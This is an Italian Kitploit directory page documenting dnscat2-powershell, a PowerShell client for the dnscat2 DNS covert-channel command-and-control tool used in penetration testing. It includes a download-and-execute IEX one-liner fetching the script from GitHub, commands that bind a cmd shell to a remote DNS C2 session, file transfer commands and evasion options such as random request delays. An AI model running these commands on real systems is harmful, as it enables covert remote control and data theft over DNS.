Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
dnscat2-powershell — Un client Powershell per dnscat2, uno strumento DNS crittografato per comando e controllo. | Kitploit
Strumenti/GitHubGitHub/lukebaggett/dnscat2-powershell
Strumenti di Crittografia/DecrittografiaPost-ExploitPenetration TestingCommand and ControlRed TeamingAnalisi DNSArchived
GitHublukebaggett/dnscat2-powershell

dnscat2-powershell

Un client Powershell per dnscat2, uno strumento DNS crittografato per comando e controllo.

Vedi Repository
4351232 anni faRevisionato da Kitploit

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi
Sito web

dnscat2 è uno strumento per canali nascosti DNS creato da @iagox86 (Ron Bowes) che viene utilizzato per trasferire dati tramite richieste DNS.

Questa è una versione PowerShell del client C di dnscat2.

Clicca qui per un post sul blog che fornisce una descrizione più dettagliata dello scopo di questo script e di come utilizzarlo.

Per utilizzare questo script, avrai bisogno del server ruby dnscat2 server. Assicurati di aggiungere l'opzione --no-cache quando avvii il server. Questo client è incompatibile con la cache del server.

Configurazione

Prima, installa il server dnscat2. Avvia il server con la cache disabilitata utilizzando --no-cache. Il comando per avviare il server dovrebbe essere simile a questo: ruby dnscat2.rb --dns="domain=example.com" --no-cache

Successivamente, avvia Windows PowerShell (versione 2.0 o successiva). Puoi usare questo comando per caricare le funzioni PowerShell di dnscat2:

root@kitploit:~
IEX (New-Object System.Net.Webclient).DownloadString('https://raw.githubusercontent.com/lukebaggett/dnscat2-powershell/master/dnscat2.ps1')

Esempi

Start-Dnscat2 è la funzione effettiva utilizzata come client. Specifica il server dnscat2 usando -Domain.

root@kitploit:~
Avvia una sessione di comando e invia richieste DNS a 8.8.8.8 sulla porta 53:
    Start-Dnscat2 -Domain <dnscat2 server> -DNSServer 8.8.8.8

Invia una shell cmd e invia richieste DNS al server DNS predefinito impostato in Windows:
    Start-Dnscat2 -Domain <dnscat2 server> -Exec cmd

Avvia una sessione console. Utilizza solo richieste CNAME, MX e AAAA:
    Start-Dnscat2 -Domain <dnscat2 server> -LookupTypes @("CNAME","MX","AAAA") -Console

Non crittografare la sessione. La crittografia è abilitata per impostazione predefinita.
    Start-Dnscat2 -Domain <dnscat2 server> -NoEncryption

Comandi della sessione di comando PowerShell

Il client può gestire comandi dnscat2 normali o la versione PowerShell di quel comando. Per utilizzare la versione PowerShell di un comando, imposta parametri specifici che il client rileverà (Questi sono comandi eseguiti da una sessione di comando sul server):

root@kitploit:~
Avvia una nuova sessione che simula una shell PowerShell, come ExecPS:
    exec psh

Carica app.exe sul server in una stringa esadecimale memorizzata nella variabile PowerShell $app:
    upload app.exe hex:$app

Scarica l'array di byte memorizzato nella variabile PowerShell $app in app.exe sul server:
    download bytes:$app app.exe

Start-Dnscat2

root@kitploit:~
-Domain <String>          Il dominio utilizzato dal server dnscat2.
-DNSServer <String>       Il nome host o l'indirizzo IP a cui inviare le query DNS. (Default: Impostato da Windows)
-DNSPort <Int32>          La porta a cui inviare le query DNS. (Default: 53)

-Command                  Avvia una sessione di comando. (Default)
-Exec <String>            Collega l'I/O di un processo con la sessione Dnscat2.
-Console                  Collega l'I/O della console con la sessione Dnscat2.
-ExecPS                   Simula una sessione PowerShell e collega l'I/O con la sessione Dnscat2.
                          ATTENZIONE: Uscire terminerà l'intero client dnscat2, non solo la sessione.

-PreSharedSecret          Imposta lo stesso segreto sul server per autenticarsi e prevenire MITM.
-NoEncryption             Non utilizzare la crittografia.

-LookupTypes <String[]>   Imposta un array di tipi di lookup tra cui passare casualmente.
                          Sono supportati solo i record TXT, MX, CNAME, A e AAAA. Default: @(TXT, MX, CNAME)
-Delay <Int32>            Imposta un ritardo tra ogni richiesta, in millisecondi. (Default: 0)
-MaxRandomDelay <Int32>   Imposta il valore massimo di un ritardo casuale aggiunto al ritardo normale, in millisecondi. (Default: 0)
-MaxPacketSize <Int32>    Lunghezza massima di un pacchetto dnscat2. (Default: 240)
-Name <String>            Il nome della tua sessione dnscat2. (Default: hostname)

ExecPS e 'exec psh'

dnscat2-powershell simula una sessione PowerShell passando i dati dal server a Invoke-Expression. Viene restituito solo stdout e le variabili vengono preservate finché il client è in esecuzione. Fai attenzione a cose che escono da PowerShell come "exit" e "break", perché l'intero client dnscat2-powershell uscirà, non solo la sessione ExecPS.

Altri Riconoscimenti

  • db9 su stackoverflow dimostrazione di BouncyCastle ECDH.
  • Implementazione di FrankSpierings di Salsa20 e Sha3 in PowerShell tramite C#.
  • Versione ridotta di Rebex Labs della DLL BouncyCastle per ECC.
Scarica lo strumento